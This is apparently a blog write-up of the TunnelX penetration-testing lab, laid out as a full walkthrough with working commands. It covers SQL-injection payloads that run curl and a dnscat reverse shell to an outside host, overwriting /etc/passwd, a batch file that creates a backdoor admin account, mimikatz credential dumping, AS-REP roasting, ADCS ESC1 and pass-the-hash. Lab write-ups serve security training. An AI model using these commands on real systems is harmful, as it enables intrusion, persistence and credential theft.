春秋云境·TunnelX

考点:

  • CVE-2021-42655
  • sql自建命令执行函数
  • dnscat弹DNS shell
  • cp提权
  • DNS隧道搭建
  • ldap匿名访问
  • AS-REP Roasting
  • SHUWDOWN用户启动项提权
  • ESC1

扫服务,80端口有一个V6.15.51版本的SS CMS(这个是扫路径看到登录页看出来),并且有后台sql注入:CVE-2021-42655

2121端口有ftp,可以匿名登录,能下下来一个secret.7z

7z要用7z2john爆破,但安装好了出现了报错想要运行:

Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at /usr/bin/7z2john line 6.
BEGIN failed--compilation aborted at /usr/bin/7z2john line 6.

网上查了下安装了一下依赖:

apt install liblzma-dev
apt-get install cpanminus
cpan Compress::Raw::Lzma

但安装Compress::Raw::Lzma又出现了很傻逼的问题,比如遇到

Loading internal logger. Log::Log4perl recommended for better logging
Reading '/root/.cpan/Metadata'
  Database was generated on Tue, 31 Oct 2023 08:54:03 GMT
Running install for module 'Compress::Raw::Lzma'
Fetching with HTTP::Tiny:
https://cpan.org/authors/id/P/PM/PMQS/Compress-Raw-Lzma-2.206.tar.gz

Fetching with HTTP::Tiny这里下载压缩包会一直卡住,不知道是不是因为是外网链接的问题,后来采用的方式,手动下载然后移动到指定位置,比如是下载https://cpan.org/authors/id/P/PM/PMQS/Compress-Raw-Lzma-2.206.tar.gz卡住了,就在浏览器里访问这个链接下载文件,然后手动复制过去:

sudo cp Compress-Raw-Lzma-2.206.tar.gz /root/.cpan/sources/authors/id/P/PM/PMQS/

其实就是用/root/.cpan/sources/替换https://cpan.org/就是待安装路径,最后终于安装成功,接着爆哈希:

7z2john secret.7z >1.txt
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

爆出来密码是13131313,解压一下内容是:

A strange character string, You're the only one I'm telling
e7d41890-5742-48f0-9f3c-1393db541fc7

这东西其实就是一个sscms的api-key:API 身份认证,有这东西就能直接访问后台的接口了,也能直接sql注入了,因为那个后台洞其实就是注入的/api/pages/cms/libraryText/list

但这里有个问题,首先这个服务是站库分离的,并且数据库TCP流量不出网,只有DNS流量出网,所以只能curl外带命令结果,并且这里我们还只能执行sql语句,想执行命令必须加载udf.so自己创建一个命令执行函数sys_eval,这里用的大头哥的脚本(这里还顺便传了一个dnscat用于后面DNS弹shell):

https://github.com/LxxxSec/TunnelX/blob/master/udf-dnscat.py

脚本里ip换成自己的靶机ip后运行完就能创建一个命令执行函数外带命令了:

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.98.127.34
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 127

{"siteId":1,"keyword":"';select sys_eval('curl `whoami`.xwqn3w.dnslog.cn')-- ","groupId":0,"page":1,"perPage":24}

接着我们可以使用dnscat用DNS隧道反弹shell。首先,想要用DNS隧道反弹shell你需要有一台vps,然后有一个域名,以我的腾讯云为例,我的域名为之前买了没用的cqupt.team,你需要设置一个A记录,将test.cqupt.team解析到VPS的ip,然后设置一个NS记录,将ns1.cqupt.team解析到test.cqupt.team:

腾讯云里主机记录就是子域名,比如某条记录的cqupt.team的主机记录为test,其实指的就是test.cqupt.team的解析情况。

配好域名解析后,我们可以在vps上直接使用现成的dnscat的docker起服务(记得把53端口打开且协议为UDP协议):

docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb ns1.cqupt.team -c datou

接着用之前向tmp目录传好的dnscat反弹DNS的shell:

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.98.127.34
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 126

{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=datou ns1.cqupt.team')-- ","groupId":0,"page":1,"perPage":24}

接着在vps这里应该能接收到shell,应该是会显示New window created: 1,这里我们先使用window -i 1切换到新创建的session1上,然后输入shell,会显示New window created: 3,这就说明一个shell的session3成功创建了

然后我们输入window -i 3,切换到新创建的shell session3上,就可以执行命令了

然后没找到flag,提一下权:

find / -perm -u=s -type f 2>/dev/null

看到了cp有suid,这里我们可以想到传一个passwd把服务器本来的passwd覆盖了,这样就能把root密码重置了,还是直接用的大头哥的脚本,传一个root密码为123456的passwd到/tmp/

https://github.com/LxxxSec/TunnelX/blob/master/passwd.py

接着用新的passwd把/etc/passwd覆盖了:

cp /tmp/passwd1 /etc/passwd
python -c 'import pty;pty.spawn("/bin/bash")'
su root
123456

喜提flag2(flag1在网站服务器上,我们这个拿的是数据库服务器上的,听出题人说flag1的预期解就是拿完域控pth过去)

接着我们使用iodine做个DNS代理,但有个很关键的问题,就是dnscat和iodine都依赖53端口,总不可能打个题得用两台vps吧,这里从大头哥的wp上学了个骚操作,首先传一个iodine到靶机上,这个是受控端,然后写个命令,让iodine在后台sleep 10s后回连控制端,我们在这十秒内掐掉docker然后启动iodine控制端就能成功建立连接。

首先在靶机上传一个iodine(iodined是控制端用的,iodine是受控端用的,大头哥在github上都传了),脚本还是直接使用大头哥现成的

https://github.com/LxxxSec/TunnelX/blob/master/iodine.py

传成功后校验一下哈希,一般来说没啥问题

然后chmod +x /tmp/iodine给一下权限,接着运行我们之前说的让iodine在后台sleep 10s后回连控制端的命令(你觉得10s内完不成可以把这个10改大点)

nohup sleep 10 && /tmp/iodine -f -P datou ns1.cqupt.team &

接着在VPS上ctrl C掐掉之前用docker起的dnscat服务,然后用iodined在VPS上创建一个192.168.0.1网段的虚拟网卡

iodined -f -c -P datou 192.168.0.1 ns1.cqupt.team -DD

可以看到很明显的回连痕迹,说明成功建立连接了(毕竟DNS隧道原理就是用域名前那个段外带数据,这里看得出来每段数据就是ns1.cqupt.team上的那串字符,也因此DNS隧道卡的批爆,毕竟每次数据量太小了)。

然后我们可以连接到192.168.0.2,这个其实就是靶机,因为我们相当于把靶机的流量转发到创建的虚拟网卡上了

ssh root@192.168.0.2
123456

接着我们需要把VPS上虚拟网卡192.168.0.2的流量转发出来建立socks5隧道,这里我没用大头哥的方法,因为我没用过frp,我用的之前内网代理搭建里讲的ssh隧道实现的,首先把192.168.0.2的流量转发到本地VPS的29999端口上:

ssh -N -D 29999 root@192.168.0.2

接着用ssh隧道把VPS上29999端口的流量转发到公网6666端口上创建socks代理(这个默认是挂在后台的,不用了记得kill了,netstat -nap | grep 6666):

ssh -C -f -N -g -L 0.0.0.0:6666:127.0.0.1:29999 root@VPS

然后连VPS:6666端口的socks5代理,试试curl内网资源能不能访问,能访问到就说明成功了

proxychains curl 172.22.61.50

接着老套路,传fscan扫内网,但这个dns隧道实在是卡的批爆,建议大伙改一下大头哥的脚本用sql命令传一个fscan,那个快多了,这里我不到10mb的东西传了七分钟,太抽象了

scp fscan root@192.168.0.2:/tmp/fscan
ifconfig
root@MYSQL:/tmp# ./fscan -h 172.22.61.41/24 

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.61.41    is alive
(icmp) Target 172.22.61.17    is alive
(icmp) Target 172.22.61.50    is alive
(icmp) Target 172.22.61.34    is alive
[*] Icmp alive hosts len is: 4
172.22.61.41:22 open
172.22.61.34:445 open
172.22.61.50:445 open
172.22.61.17:445 open
172.22.61.34:139 open
172.22.61.17:139 open
172.22.61.50:139 open
172.22.61.34:135 open
172.22.61.50:135 open
172.22.61.17:135 open
172.22.61.50:80 open
172.22.61.17:88 open
172.22.61.41:3306 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo:
[*]172.22.61.17
   [->]DC
   [->]172.22.61.17
   [->]2001:0:348b:fb58:383c:21f6:d89c:1748
[*] 172.22.61.17  (Windows Server 2016 Datacenter 14393)
[*] NetInfo:
[*]172.22.61.34
   [->]WIN2012
   [->]172.22.61.34
[*] NetBios: 172.22.61.17    [+]DC DC.xiaorang.lab               Windows Server 2016 Datacenter 14393 
[*] NetBios: 172.22.61.50    Web.xiaorang.lab                    Windows Server 2016 Datacenter 14393 
[*] NetBios: 172.22.61.34    WIN2012.xiaorang.lab                Windows Server 2012 R2 Datacenter 9600 
[*] WebTitle: http://172.22.61.50       code:200 len:24977  title:Zosimos
[+] SSH:172.22.61.41:22:root 123456
已完成 13/13
[*] 扫描结束,耗时: 6.262020915s
172.22.61.17 DC.xiaorang.lab
172.22.61.50 Web.xiaorang.lab 外网SSCMS
172.22.61.34 WIN2012.xiaorang.lab
172.22.61.41 mysql数据库(GetShell)

这里DC的ldap服务可以匿名访问,能查询所有域用户

proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x|grep ',CN=Users,DC=xiaorang,DC=lab'
dn: CN=Administrator,CN=Users,DC=xiaorang,DC=lab
dn: CN=Guest,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=Guest,CN=Users,DC=xiaorang,DC=lab
dn: CN=DefaultAccount,CN=Users,DC=xiaorang,DC=lab
dn: CN=krbtgt,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Computers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Schema Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Cert Publishers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Users,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Guests,CN=Users,DC=xiaorang,DC=lab
dn: CN=Group Policy Creator Owners,CN=Users,DC=xiaorang,DC=lab
dn: CN=RAS and IAS Servers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
dn: CN=Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Cloneable Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
dn: CN=Key Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Key Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
dn: CN=DnsUpdateProxy,CN=Users,DC=xiaorang,DC=lab
dn: CN=wangmei,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=wangmei,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangjing,CN=Users,DC=xiaorang,DC=lab
dn: CN=wangyong,CN=Users,DC=xiaorang,DC=lab
dn: CN=huangyong,CN=Users,DC=xiaorang,DC=lab
dn: CN=lixiang,CN=Users,DC=xiaorang,DC=lab
dn: CN=chenlei,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=chenlei,CN=Users,DC=xiaorang,DC=lab
dn: CN=yangjie,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=yangjie,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangjun,CN=Users,DC=xiaorang,DC=lab
dn: CN=yangdming,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangmei,CN=Users,DC=xiaorang,DC=lab
dn: CN=wangrong,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangpeng,CN=Users,DC=xiaorang,DC=lab
dn: CN=liuyun,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=liuyun,CN=Users,DC=xiaorang,DC=lab
dn: CN=Shutdown_group,CN=Users,DC=xiaorang,DC=lab

users.txt:

wangmei
zhangjing
wangyong
huangyong
lixiang
chenlei
yangjie
zhangjun
yangdming
zhangmei
wangrong
zhangpeng
liuyun
Shutdown_group

跑一下AS-REP Roasting

proxychains python3 GetNPUsers.py -dc-ip 172.22.61.17 -usersfile ~/Desktop/user.txt xiaorang.lab/ 
hashcat -m 18200 '$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b13219cfc6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c064dcc2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a198e84518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c435799221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf56dcc1d8bef6f619cc7a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a01021bb6fd5173cb2213060727b3e97c533277e' /usr/share/wordlists/rockyou.txt --force
yangdming:kier@n10

接着可以用evil-winrm连上去

proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10

跑一下bloodhound

proxychains bloodhound-python -d xiaorang.lab -u yangdming -p kier@n10 -gc dc.xiaorang.lab -c all

然后发现yangdming这个用户在SHUWDOWN_GROUP,能对机器重启,因此我们可以使用启动项提权,首先在本地写一个add.bat,具体内容:把yangdming添加到本地管理员组内,把LocalAccountTokenFilterPolicy设为1,添加benbi后门用户:

@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
net user benbi pass@123 /add
net localgroup administrators benbi /add

然后切换到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\把add.bat从本地传上去,接着shutdown重启机器

cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
upload add.bat
shutdown -r -t 0

重启完再连上去可以发现已经管理员里多了一个benbi用户

接着wmiexec上去拿flag

proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34 -codec gbk  
type C:\Users\Administrator\flag\flag03.txt

接着本来想用evil-winrm像之前一样传一个mimikatz.exe上去抓密码,但每次传到最后都失败了,最后一怒之下开全局代理RDP上去然后把本地的mimikatz.exe复制过去,当然整个过程也是卡的我想死,接着用mimikatz.exe抓哈希

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

抓到了机器账户的哈希:1a58500ed538410fc68757953b50778d,通过这个进一步利用拿域控,首先看了一下ADCS,发现有ESC1,并且能用win2012模板打,因此照本宣科即可。

看ADCS:

proxychains certipy-ad find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:1a58500ed538410fc68757953b50778d -dc-ip 172.22.61.17 -vulnerable

用win2012模板申请证书(记得把域控加到/etc/hosts里)

proxychains certipy-ad req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:1a58500ed538410fc68757953b50778d -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab

转换格式,请求TGT,获得域控哈希aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53

proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.61.17

pth域控

proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
type C:\Users\Administrator\flag\flag04.txt

pth最初的web服务器

proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53 -codec gbk
type C:\Users\Administrator\flag\flag01.txt

还得是大头✌,最有跪感的一集:春秋云镜 – TunnelX

摸了一天🐟,喜提二血🥰🥰
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇